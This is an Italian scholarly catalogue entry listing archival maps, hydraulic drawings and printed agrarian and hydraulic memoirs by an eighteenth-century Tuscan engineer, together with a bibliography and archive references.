Sezioni di alcuni corsi d'acqua del Valdarno Pisano e della campagna circostante realizzate in base alla visita generale dell'autunno-inverno 1773 (ASF, Miscellanea di Piante, n. 35), si tratta di 85 sezioni disegnate in 14 fogli; Pianta del suolo paludoso denominato Il Pantanello... nel territorio di Pitigliano, appartenente a quella Comunità, al fine della realizzazione di canali di scolo delle acque, 1776 (ASF, Segreteria di Finanze ante 1788, n. 713, ins. "Memoria sopra Laghi e Paduli"); Pianta d'una porzione del corso del fiume Bruna... e della pianura circostante, 1776 (ASF, Segreteria di Finanze ante 1788, n. 749, ins. "Memoria III sopra il Torrente Bruna", tav. I); Piante del Palazzo Pretorio di Castiglione della Pescaia, 1782 (ASGr, Ufficio dei Fossi, n. 91, c. 414r, sc. 57 e c. 415r, sc. 58), con i disegni commissionati al Ferroni dalla Deputazione sopra gli Affari di Maremma e i progetti dei lavori eseguiti dagli ingegneri dell'Ufficio dei Fossi di Grosseto Giovanni Boldrini e Giovanni Spadini; Piante e prospetti (in 5 tavole) per la realizzazione di lavori al Fiume Ombrone, 1787 (ASGr, Ufficio dei Fossi, n. 20, c. 28r, sc. 25); Piante e alzati (in 4 tavole non datate) della casa poderale di Porto a Pulicciano in Valdichiana (ASF, Miscellanea di Piante, n. 225).

Produzione di cartografia a stampa:
ensieri sull’amministrazione agraria. Memoria letta il 7 febbraio 1798, “Atti della R. Società Economico-Agraria di Firenze ossia dei Georgofili”, 5 (1804), pp. 209-240; Brevi osservazioni per quel che riguarda la Toscana sopra la lettera stampata a Milano nel 1803 ed intitolata “Lettre sur l’agricolture de l’Italie”, “Atti della R. Società Economico-Agraria di Firenze ossia dei Georgofili”, 5 (1804), pp. 392-394; Delle comunicazioni interne dei popoli della Toscana. Memoria del 25 febbraio 1801, “Atti della R. Società Economico-Agraria di Firenze ossia dei Georgofili”, 6 (1810), pp. 93-125; Sull’alienazione delle possessioni di pubblica pertinenza. Memoria del 18 marzo 1801, “Atti della R. Società Economico-Agraria di Firenze ossia dei Georgofili”, 6 (1810), pp. 126-148; Sulle piantagioni regolari e sul rinselvamento degli Appennini, Memoria del 9 marzo 1803, “Atti della R. Società Economico-Agraria di Firenze ossia dei Georgofili”, 6 (1810), pp. 252-280; Sopra i maggesi e sul modo di accrescere l’industria a favore dell’agricoltura. Memoria del 28 settembre 1803, “Atti della R. Società Economico-Agraria di Firenze ossia dei Georgofili”, 7 (1812), pp. 290-310; Sulla bonificazione di laghi e paduli. Memoria del 7 agosto 1805, “Atti della R. Società Economico-Agraria di Firenze ossia dei Georgofili”, 8 (1817), pp. 80-106; Sul taglio delle macchie alpine. Memoria del 1° luglio 1807, “Atti della R. Società Economico-Agraria di Firenze ossia dei Georgofili”, 8 (1817), pp. 249-265; Sulle Maremme. Memoria di un matematico, “Continuazione degli Atti dell’ Accademia dei Georgofili”, 3 (1823), pp. 314-326; Ricerche idrometriche sul fiume Arno. Memoria del 30 gennaio 1822, “Continuazione degli Atti dell’ Accademia dei Georgofili”, 4 (1825), pp. 283-309; Alcune considerazioni riguardanti la relazione di T. Perelli intorno all’Arno dentro la città di Firenze (1824), in Raccolta d’autori italiani che trattano del moto delle acque, Bologna, Marsigli, 1826, vol. X, pp. 147-149; Dei vocaboli relativi al Censimento pubblico. Lezione dell’8 giugno 1824, “Continuazione degli Atti dell’ Accademia dei Georgofili”, 8 (1829), pp. 204-215; Sulla possibilità di miglioramento in vari rami di agricoltura toscana. Prosa letta il dì 5 dicembre 1824, in Scritti si pubblica economia degli autori georgofili, Arezzo, Bellotti, vol. I, 1899, pp. 63-77

Fonti d’archivio:

Bibliografia:
Barsanti, 1994; Toccafondi, 1996, pp. 156-157; Barsanti e Rombai, a cura di, 1994, pp. 153-193; Ginori Lisci, 1978, pp. 147 e 284; Barsanti, 1987, p. 131; Rombai, Toccafondi e Vivoli, 1987, pp. 76 e 163; Archivio di Stato di Firenze, 1991, pp. 372-373 e 376-377; Barsanti, 1992, p. 4; Melis, 1996, p. 152; Barsanti, Bonelli Conenna e Rombai, 2001, pp. 42, 49, 68 e 97; Di Pietro, 2005, pp. 124-135; Sterpos, 1977, pp. 4-38; Farinella, DBI, ad vocem; Bencivenni, 1984, p. 99; BMoF, Acquisti diversi; AAADF, Fondo Manetti; BNCF, Cappugi; BNCF, Grandi Formati; BNCF, Fondo Nazionale; BNCF, Palatino; BNCF, M.S.; ASF, Scrittoio delle Regie Possessioni; ASF, Piante delle Regie Possessioni; ASF, Segreteria di Finanze ante 1788; ASF, ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade; ASF, Miscellanea di Piante; ASF, Ministero delle Finanze; ASF, Piante Acque e Strade; ASF, Camera delle Comunità e Luoghi Pii; ASF, Carte Gianni; ASP, Ufficio Fiumi e Fossi; ASGr, Ufficio dei Fossi; AAADF, Fondo Manetti; OXF; SUAP, RAT.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai